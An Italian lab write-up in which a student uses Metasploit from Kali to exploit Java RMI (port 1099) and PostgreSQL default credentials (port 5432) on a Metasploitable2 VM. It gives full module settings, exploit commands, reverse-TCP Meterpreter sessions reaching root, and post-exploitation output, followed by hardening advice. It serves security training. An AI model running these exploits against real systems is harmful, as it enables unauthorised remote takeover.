

S7/L5

Penetration  
Testing  
with  
Metasploit

# Table of Contents



## Traccia 1

- 
- 001 Introduzione
  - 002 Preparazione dell'ambiente
  - 004 Settaggio Exploit
  - 006 Esecuzione dell'attacco
- 

## Traccia 2

- 
- 012 Introduzione
  - 013 Preparazione dell'ambiente
  - 015 Settaggio Exploit
  - 017 Esecuzione dell'attacco
  - 020 Conclusione
  - 021 Suggerimenti
-

# Traccia 1

# Introduzione

Nell'esercizio proposto si richiede l'utilizzo di Metasploit per sfruttare una vulnerabilità del servizio Java RMI sulla porta 1099 della macchina Metasploitable.

L'obiettivo è ottenere una sessione Meterpreter sulla macchina remota.

Le specifiche della **macchina attaccante** (KALI LINUX) deve avere indirizzo IP **192.168.75.111**, mentre la **macchina attaccata** (Metasploitable2) deve essere configurata con l'indirizzo IP **192.168.75.112**.

Dopo la configurazione dell'ambiente e dopo aver stabilito una connessione con Meterpreter, si dovranno raccogliere informazioni sulla configurazione di rete e le informazioni sulla tabella di routing della macchina attaccata

**Metasploit:** è una piattaforma open-source utilizzata principalmente per testare la sicurezza informatica e per condurre attività di penetration testing. Fornisce un ampio set di strumenti e moduli che consentono agli esperti di sicurezza di scoprire vulnerabilità nei sistemi informatici e di sviluppare exploit per sfruttarle in modo controllato.

**Meterpreter:** è un payload versatile all'interno del framework Metasploit. È progettato per essere iniettato nei sistemi target vulnerabili e permette all'attaccante di eseguire una serie di comandi sul sistema compromesso in modo remoto.

Offre funzionalità avanzate come il controllo completo del sistema operativo, la manipolazione dei file, il recupero delle password.

# Traccia 1

# Introduzione

Nell'esercizio proposto si richiede l'utilizzo di Metasploit per sfruttare una delle vulnerabilità del servizio Java RMI sulla porta 1099 della macchina Metasploitable che permette di eseguire codice arbitrario sul server tramite l'iniezione di payload malevoli e ottenere il controllo completo della macchina compromessa.

L'obiettivo è ottenere una sessione Meterpreter sulla macchina remota.

Le specifiche della **macchina attaccante** (KALI LINUX) deve avere indirizzo IP **192.168.75.111**, mentre la **macchina attaccata** (Metasploitable2) deve essere configurata con l'indirizzo IP **192.168.75.112**.

Dopo la configurazione dell'ambiente e dopo aver stabilito una connessione con Meterpreter, si dovranno raccogliere informazioni sulla configurazione di rete e le informazioni sulla tabella di routing della macchina attaccata.

**Metasploit:** è una piattaforma open-source utilizzata principalmente per testare la sicurezza informatica e per condurre attività di penetration testing. Fornisce un ampio set di strumenti e moduli che consentono agli esperti di sicurezza di scoprire vulnerabilità nei sistemi informatici e di sviluppare exploit per sfruttarle in modo controllato.

**Meterpreter:** è un payload versatile all'interno del framework Metasploit. È progettato per essere iniettato nei sistemi target vulnerabili e permette all'attaccante di eseguire una serie di comandi sul sistema compromesso in modo remoto. Offre funzionalità avanzate come il controllo completo del sistema operativo, la manipolazione dei file, il recupero delle password.

# Preparazione dell'ambiente

## 01 Configurazione IP macchine Virtuali

Si impostino gli indirizzi IP:

- 192.168.75.111 per la macchina attaccante (Kali Linux)
- 192.168.75.112 per la macchina attaccata (Metasploitable2)

```
(kali㉿kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.75.111 netmask 255.255.255.0 broadcast 192.168.75.255
        inet6 fe80::a00:27ff:fe1e:364a prefixlen 64 scopeid 0x20<link>
            ether 08:00:27:1e:36:4a txqueuelen 1000 (Ethernet)
                RX packets 0 bytes 0 (0.0 B)
                RX errors 0 dropped 0 overruns 0 frame 0
                TX packets 50 bytes 4786 (4.6 KiB)
                TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

  

```
eth0      Link encap:Ethernet HWaddr 08:00:27:6d:5f:cb
          inet addr:192.168.75.112 Bcast:192.168.75.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe6d:5fcb/64 Scope:Link
             UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
             RX packets:0 errors:0 dropped:0 overruns:0 frame:0
             TX packets:61 errors:0 dropped:0 overruns:0 carrier:0
             collisions:0 txqueuelen:1000
             RX bytes:0 (0.0 B) TX bytes:4626 (4.5 KB)
             Base address:0xd020 Memory:f0200000-f0220000
```

## 02 Scansione Nmap

Java RMI (Remote Method Invocation) è spesso associato alla porta di default **1099**, per verificarlo si può usare il comando:

```
nmap -sV -p 1099 192.168.75.112
```

Se java RMI è configurato su questa porta, nmap fornirà informazioni dettagliate sul servizio rilevato.

```
(kali㉿kali)-[~]
$ nmap -sV -p 1099 192.168.75.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-12 09:37 CEST
Nmap scan report for 192.168.75.112
Host is up (0.00096s latency).

PORT      STATE SERVICE VERSION
1099/tcp  open  java-rmi  GNU Classpath grmiregistry

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.20 seconds
```

# Preparazione dell’ambiente

## 03 Avvio msfconsole

Dopo il cambio degli indirizzi IP e la scansione con nmap, si può lanciare il comando **msfconsole**

tramite il terminale di kali, che permetterà di aprire Msfconsole, l'interfaccia messa a disposizione da metasploit.

# Settaggio Exploit

Tramite la keyword search

```
search java_rmi
```

si cerca un exploit utilizzabile per il caso in oggetto.  
Dei quattro risultati restituiti, si selezionerà il modulo

```
exploit/multi/misc/java_rmi_server
```

tramite il comando

```
use 1
```

Dopo la selezione del modulo, il prompt dei comandi di MSFConsole cambia perché Metasploit usa una gerarchia “**tipo file sistem**” per salvare i vari exploit, payload e moduli ausiliari.

The screenshot shows the Metasploit Framework (msf6) console interface. It starts with a search command:

```
msf6 > search java_rmi
```

This triggers a search for modules related to "java\_rmi". The results are displayed in a table:

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/gather/java_rmi_registry		normal	No	Java RMI Registry Interface Enumeration
1	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
2	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
3	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIClassLoaderPrivilegeEscalation

Three arrows point to specific parts of the search output: the first arrow points to the module name "java\_rmi\_server" in the first row; the second arrow points to the module name "java\_rmi\_server" in the second row; the third arrow points to the module name "java\_rmi\_server" in the third row.

After selecting the module, the prompt changes to:

```
msf6 > use 1
```

A message indicates no payload is configured:

```
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
```

The final prompt is:

```
msf6 exploit(multi/misc/java_rmi_server) >
```

# Settaggio attacco

Tramite il comando

**show options**

vengono mostrate le informazioni riguardanti il modulo selezionato, è importante notare i campi **RHOSTS** e **LHOST** che sono rispettivamente l'indirizzo ip della macchina attaccata (Metasploitable2) e l'indirizzo ip della macchina attaccante(Kali Linux).

Un'altra cosa importante da notare è come nel campo **RPORT** che indica la porta target, è stato settato sulla porta **1099**, che è la porta su cui è attivo il servizio java RMI, proprio come avevamo verificato con l'nmap iniziale.

Come si evince dalla colonna **Required**, ci sono dei campi che vanno compilati obbligatoriamente; in questo caso è necessario settare solo l'indirizzo della macchina attaccata tramite il comando

**Set RHOSTS**

```
msf6 exploit(multi/misc/java_rmi_server) > show options
Module options (exploit/multi/misc/java_rmi_server):
Name      Current Setting  Required  Description
HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
RHOSTS     192.168.75.112   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      1099             yes       The target port (TCP)
SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT    8080             yes       The local port to listen on.
SSL        false            no        Negotiate SSL for incoming connections
SSLCert    /etc/msf/certs   no        Path to a custom SSL certificate (default is randomly generated)
URI PATH   /                no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
LHOST     192.168.75.111   yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:
Id  Name
--  --
0   Generic (Java Payload)

View the full module info with the info, or info -d command.
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.75.112
RHOSTS => 192.168.75.112
```

# Esecuzione dell'attacco

Dopo aver completato il setting del modulo exploit, si lancia l'attacco con il comando

**exploit**

Se l'attacco va a buon fine, si riceverà una shell di meterpreter.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.75.111:4444
[*] 192.168.75.112:1099 - Using URL: http://192.168.75.111:8080/Wq7ndbVb2w
[*] 192.168.75.112:1099 - Server started.
[*] 192.168.75.112:1099 - Sending RMI Header ...
[*] 192.168.75.112:1099 - Sending RMI Call ...
[*] 192.168.75.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.75.112
[*] Meterpreter session 1 opened (192.168.75.111:4444 → 192.168.75.112:42973) at 2024-07-12 09:41:10 +0200
meterpreter > █
```

# Esecuzione dell'attacco

Se l'attacco va a buon fine, si riceverà una shell di meterpreter.

Una volta ottenuta la sessione remota meterpreter, per verificare la buona riuscita dell'attacco, si provano a dare i seguenti comandi:

## 01 sysInfo

Permette di recuperare delle informazioni sulla macchina attaccata, come nome, sistema operativo, architettura e la lingua del sistema

```
meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture   : x86
System Language: en_US
Meterpreter    : java/linux
```

## 02 ifconfig

Mostra le configurazioni di rete attive sulla macchina attaccata.

```
meterpreter > ifconfig
Interface 1
=====
Name      : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name      : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.75.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe6d:5fcb
IPv6 Netmask : ::
```

# Esecuzione dell'attacco

## 03 route

Mostra e ti permette di modificare le tavole di routing.

```
meterpreter > route
=====
IPv4 network routes
=====
Subnet          Netmask        Gateway      Metric   Interface
_____
127.0.0.1      255.0.0.0     0.0.0.0
192.168.75.112 255.255.255.0  0.0.0.0

IPv6 network routes
=====
Subnet          Netmask        Gateway      Metric   Interface
_____
::1             ::            ::           ::       ::

fe80::a00:27ff:fe6d:5fcb  ::           ::           ::       ::
```

## 04 shell

Permette di lanciare comandi nella shell della macchina attaccata

```
msfadmin@metasploitable:/$ ls
bin          etc          lost+found  proc  test_metasploit
boot         home         media       root   tmp
cdrom        initrd       mnt        sbin   usr
ciaosononoemi.txt  initrd.img  nohup.out  srv   var
dev          lib          opt        sys    vmlinuz
msfadmin@metasploitable:/$ _
```

Verifica del file di testo creato presente su Metasploitable

```
meterpreter > shell
Process 1 created.
Channel 1 created.
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
mkdir ciaosononoemi.txt
```

Creazione di un file di testo su Metasploitable

# Esecuzione dell'attacco

## 05 geuiud

Permette di ottenere l'ID dell'utente (UID) e il nome dell'utente (nome utente)

```
meterpreter > getuid  
Server username: root
```

# Traccia 2

## Introduzione

Nell'esercizio proposto si richiede l'utilizzo di Metasploit per sfruttare una vulnerabilità del servizio PostgreSQL della macchina Metasploitable. PostgreSQL, spesso viene configurato con impostazioni deboli o predefinite come l'uso di credenziali predefinite (ad esempio, utente "postgres" con password "postgres").

L'obiettivo è ottenere una sessione Meterpreter sulla macchina remota.

Le specifiche della **macchina attaccante** (Kali Linux) deve avere indirizzo IP **192.168.75.111**, mentre la **macchina attaccata** (Metasploitable2) deve essere configurata con l'indirizzo IP **192.168.75.112**.

Dopo la configurazione dell'ambiente e dopo aver stabilito una connessione con Meterpreter, si dovranno raccogliere informazioni sulla macchina attaccata.

**Metasploit:** è una piattaforma open-source utilizzata principalmente per testare la sicurezza informatica e per condurre attività di penetration testing. Fornisce un ampio set di strumenti e moduli che consentono agli esperti di sicurezza di scoprire vulnerabilità nei sistemi informatici e di sviluppare exploit per sfruttarle in modo controllato.

**Meterpreter:** è un payload versatile all'interno del framework Metasploit. È progettato per essere iniettato nei sistemi target vulnerabili e permette all'attaccante di eseguire una serie di comandi sul sistema compromesso in modo remoto. Offre funzionalità avanzate come il controllo completo del sistema operativo, la manipolazione dei file, il recupero delle password.

# Preparazione dell'ambiente

## 01 Configurazione IP macchine Virtuali

Si impostino gli indirizzi IP:

- 192.168.75.111 per la macchina attaccante (Kali Linux)
- 192.168.75.112 per la macchina attaccata (Metasploitable2)

(kali㉿kali)-[~]\$ ifconfig  
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  
 inet 192.168.75.111 netmask 255.255.255.0 broadcast 192.168.75.255  
 inet6 fe80::a00:27ff:fe1e:364a prefixlen 64 scopeid 0x20<link>  
 ether 08:00:27:1e:36:4a txqueuelen 1000 (Ethernet)  
 RX packets 0 bytes 0 (0.0 B)  
 RX errors 0 dropped 0 overruns 0 frame 0  
 TX packets 50 bytes 4786 (4.6 KiB)  
 TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth0 Link encap:Ethernet HWaddr 08:00:27:6d:5f:cb  
 inet addr:192.168.75.112 Bcast:192.168.75.255 Mask:255.255.255.0  
 inet6 addr: fe80::a00:27ff:fe6d:5fcb/64 Scope:Link  
 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1  
 RX packets:0 errors:0 dropped:0 overruns:0 frame:0  
 TX packets:61 errors:0 dropped:0 overruns:0 carrier:0  
 collisions:0 txqueuelen:1000  
 RX bytes:0 (0.0 B) TX bytes:4626 (4.5 KB)  
 Base address:0xd020 Memory:f0200000-f0220000

## 02 Scansione Nmap

PostgreSQL è spesso associato alla porta di default **5432**, per verificarlo si può usare un nmap con il comando:

```
nmap -sV -p 5432 192.168.75.112
```

Se PostgreSQL è configurato su questa porta, nmap fornirà informazioni dettagliate sul servizio rilevato.

```
(kali㉿kali)-[~]$ nmap -sV -p 5432 192.168.75.112  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-12 09:57 CEST  
Nmap scan report for 192.168.75.112  
Host is up (0.0013s latency).  
  
PORT      STATE SERVICE      VERSION  
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.  
Nmap done: 1 IP address (1 host up) scanned in 19.14 seconds
```

# Preparazione dell’ambiente

## 03 Avvio msfconsole

Dopo il cambio degli indirizzi IP e la scansione con nmap, si può lanciare il comando **msfconsole**

tramite il terminale di kali, che permetterà di aprire Msfconsole, l’interfaccia messa a disposizione da metasploit.

```
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: View all productivity tips with the tips command

# cowsay++
< metasploit >
_____
 \  'oo'
  (____) \
   ||----| *
                =[ metasploit v6.3.55-dev ]]
+ -- --=[ 2397 exploits - 1235 auxiliary - 422 post    ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops      ]
+ -- --=[ 9 evasion                                ]

Metasploit Documentation: https://docs.metasploit.com/
```

# Settaggio Exploit

Si ricerca tramite la keyword

**search postgresql**

si cerca un exploit utilizzabile per il caso in oggetto.  
Dei quattro risultati restituiti, si selezionerà il modulo

**exploit/linux/postgres/postgres\_payload**

tramite il comando

**use 11**

Dopo la selezione del modulo, il prompt dei comandi di MSFConsole cambia perché Metasploit usa una gerarchia “**tipo file sistem**” per salvare i vari exploit, payload e moduli ausiliari.

The screenshot shows the Metasploit Framework (msf6) console interface. The user has run the command `search postgresql`, which has returned a list of matching modules. The module `exploit/linux/postgres/postgres_payload` is highlighted with a blue selection bar. The user then runs the command `use 11`, which selects the module at index 11. The console prompt changes to `msf6 exploit(linux/postgres/postgres_payload) >`. Three black arrows point from the left towards the highlighted module in the search results table.

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/server/capture/postgresql		normal	No	Authentication
1	post/linux/gather/enum_users_history		normal	No	Linux Gather
2	exploit/multi/http/manage_engine_dc_pmp_sqli	2014-06-08	excellent	Yes	ManageEngine
3	auxiliary/admin/http/manageengine_pmp_privesc	2014-11-08	normal	Yes	ManageEngine
4	exploit/multi/postgres/postgres_copy_from_program_cmd_exec	2019-03-20	excellent	Yes	PostgreSQL CR
5	exploit/multi/postgres/postgres_createLang	2016-01-01	good	Yes	PostgreSQL CR
6	auxiliary/scanner/postgres/postgres_dbname_flag_injection		normal	No	PostgreSQL Da
7	auxiliary/scanner/postgres/postgres_login		normal	No	PostgreSQL Lo
8	auxiliary/admin/postgres/postgres_readfile		normal	No	PostgreSQL Se
9	auxiliary/admin/postgres/postgres_sql		normal	No	PostgreSQL Se
10	auxiliary/scanner/postgres/postgres_version		normal	No	PostgreSQL Ve
11	exploit/linux/postgres/postgres_payload	2007-06-05	excellent	Yes	PostgreSQL fo
12	exploit/windows/postgres/postgres_payload	2009-04-10	excellent	Yes	PostgreSQL fo
13	auxiliary/admin/http/rails_devise_pass_reset	2013-01-28	normal	No	Ruby on Rails
14	exploit/multi/http/rudder_server_sqli_rce	2023-06-16	excellent	Yes	Rudder Server
15	post/linux/gather/vcenter_secrets_dump	2022-04-15	normal	No	VMware vCenter

Interact with a module by name or index. For example `info 15`, `use 15` or `use post/linux/gather/vcenter_secrets_dump`

```
msf6 > use 11
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/postgres/postgres_payload) >
```

# Settaggio attacco

Tramite il comando

**show options**

vengono mostrare le informazioni riguardanti il modulo selezionato, è importante notare i campi **RHOSTS** e **LHOST** che sono rispettivamente l'indirizzo ip della macchina attaccata (Metasploitable) e l'indirizzo ip della macchina attaccante(Kali Linux).

Un'altra cosa importante da notare è come nel campo **RPORT** che indica la porta target, è stato settato sulla porta **5432**, che è la porta su cui è attivo il servizio postgres, proprio come avevamo verificato con l'nmap iniziale.

Come si evince dalla colonna **Required**, ci sono dei campi che vanno compilati obbligatoriamente.

In questo caso è necessario settare entrambi i requisiti tramite i comandi

**set RHOSTS**

**set LHOST**

The screenshot shows two terminal sessions of the Metasploit Framework (msf6). The top session is labeled "PRIMA DEL SETTAGGIO" (Before Setting) and the bottom session is labeled "DOPO IL SETTAGGIO" (After Setting). Both sessions show the "show options" command output for the "linux/postgres/postgres\_payload" module.

**PRIMA DEL SETTAGGIO:**

```
msf6 exploit(linux/postgres/postgres_payload) > show options
Module options (exploit/linux/postgres/postgres_payload):
  Name   Current Setting  Required  Description
  ----  --------------  --yes--  --
  DATABASE template1      yes       The database to authenticate against
  PASSWORD postgres        no        The password for the specified username. Leave blank for a random password.
  RHOSTS          yes
  RPORT    5432           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  USERNAME  postgres        yes       The target port
  VERBOSITY false          no        The username to authenticate as
  Enable verbose output

Payload options (linux/x86/meterpreter/reverse_tcp):
  Name   Current Setting  Required  Description
  ----  --------------  --yes--  --
  LHOST    4444           yes       The listen address (an interface may be specified)
  LPORT    4444           yes       The listen port

Exploit target:
  Id  Name
  --  --
  0   Linux x86
```

**DOPO IL SETTAGGIO:**

```
msf6 exploit(linux/postgres/postgres_payload) > set LHOST 192.168.75.111
LHOST => 192.168.75.111
msf6 exploit(linux/postgres/postgres_payload) > set RHOST 192.168.75.112
RHOST => 192.168.75.112
msf6 exploit(linux/postgres/postgres_payload) > show options
Module options (exploit/linux/postgres/postgres_payload):
  Name   Current Setting  Required  Description
  ----  --------------  --yes--  --
  DATABASE template1      yes       The database to authenticate against
  PASSWORD postgres        no        The password for the specified username. Leave blank for a random password.
  RHOSTS  192.168.75.112  yes
  RPORT    5432           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  USERNAME  postgres        yes       The target port
  VERBOSITY false          no        The username to authenticate as
  Enable verbose output

Payload options (linux/x86/meterpreter/reverse_tcp):
  Name   Current Setting  Required  Description
  ----  --------------  --yes--  --
  LHOST  192.168.75.111  yes       The listen address (an interface may be specified)
  LPORT  4444           yes       The listen port

Exploit target:
  Id  Name
  --  --
  0   Linux x86
```

View the full module info with the `info`, or `info -d` command.

# Esecuzione dell'attacco

Dopo aver completato il setting del modulo exploit, si lancia l'attacco con il comando

**exploit**

Se l'attacco va a buon fine, si riceverà una shell di meterpreter.

```
msf6 exploit(linux/postgres/postgres_payload) > exploit
[*] Started reverse TCP handler on 192.168.75.111:4444
[*] 192.168.75.112:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/CtfduKde.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.75.112
[*] Meterpreter session 1 opened (192.168.75.111:4444 → 192.168.75.112:45967) at 2024-07-12 10:36:54 +0200
meterpreter > 
```

# Esecuzione dell'attacco

Se l'attacco va a buon fine, si riceverà una shell di meterpreter.

Una volta ottenuta la sessione remota meterpreter, per verificare la buona riuscita dell'attacco, si provano a dare i comandi:

## 01 sysInfo

Permette di recuperare delle informazioni sulla macchina attaccata, come nome, sistema operativo, architettura e la lingua del sistema

```
meterpreter > sysinfo
Computer      : metasploitable.localdomain
OS            : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture  : i686
BuildTuple    : i486-linux-musl
Meterpreter   : x86/linux
```

## 02 ifconfig

Mostra le configurazioni di rete attive sulla macchina attaccata.

```
meterpreter > ifconfig
Interface 1
=====
Name      : lo
Hardware MAC : 00:00:00:00:00:00
MTU       : 16436
Flags     : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::

Interface 2
=====
Name      : eth0
Hardware MAC : 08:00:27:6d:5f:cb
MTU       : 1500
Flags     : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.75.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe6d:5fc
IPv6 Netmask : ffff:ffff:ffff:ffff::
```

# Esecuzione dell'attacco

## 03 route

Mostra e ti permette di modificare le tavole di routing.

```
meterpreter > route  
IPv4 network routes  
=====  
Subnet           Netmask          Gateway   Metric  Interface  
=====  
127.0.0.1       255.0.0.0       0.0.0.0  
192.168.75.112  255.255.255.0  0.0.0.0  
  
IPv6 network routes  
=====  
Subnet           Netmask          Gateway   Metric  Interface  
=====  
::1              ::               ::        ::  
fe80::a00:27ff:fe6d:5fcb  ::               ::        ::
```

# Conclusione

Durante l'esercitazione, è stato utilizzato Metasploit per sfruttare le vulnerabilità del servizio Java RMI sulla porta 1099 e del servizio PostgreSQL sulla porta 5432 della macchina Metasploitable2, ottenendo in entrambi i casi una sessione Meterpreter.

L'attaccante, configurato con l'IP 192.168.75.111 su Kali Linux, e l'attaccato, con l'IP 192.168.75.112 su Metasploitable2, sono riusciti a stabilire la connessione desiderata. Durante la sessione Meterpreter, sono state raccolte e documentate le informazioni di configurazione di rete e la tabella di routing della macchina vittima, fornendo una comprensione pratica delle vulnerabilità di rete.

L'esercitazione ha dimostrato l'efficacia di Metasploit nel rilevare e sfruttare le debolezze di sicurezza, evidenziando l'importanza di mantenere di una sicurezza robusta nelle reti informatiche.

# Suggerimenti

## Aggiornamenti

Mantenere aggiornati tutti i sistemi operativi e software è fondamentale per garantire la sicurezza informatica. Installare regolarmente le patch di sicurezza riduce significativamente il rischio che le vulnerabilità conosciute vengano sfruttate dagli attaccanti.

## Firewall e Filtraggio delle Porte

L'uso di firewall per bloccare l'accesso non autorizzato alle porte esposte, come la porta 1099 utilizzata dal Java RMI o la porta 5432 utilizzata dal servizio PostgreSQL, è un'altra misura essenziale di sicurezza. Configurando i firewall per permettere l'accesso ai servizi solo da fonti fidate e bloccando le connessioni indesiderate, si limita l'esposizione delle reti a potenziali attacchi esterni.

## Scansione e Monitoraggio della Rete

Implementare sistemi di scansione regolare delle vulnerabilità e di monitoraggio continuo delle reti è cruciale per identificare e rispondere prontamente a tentativi di intrusione o comportamenti anomali.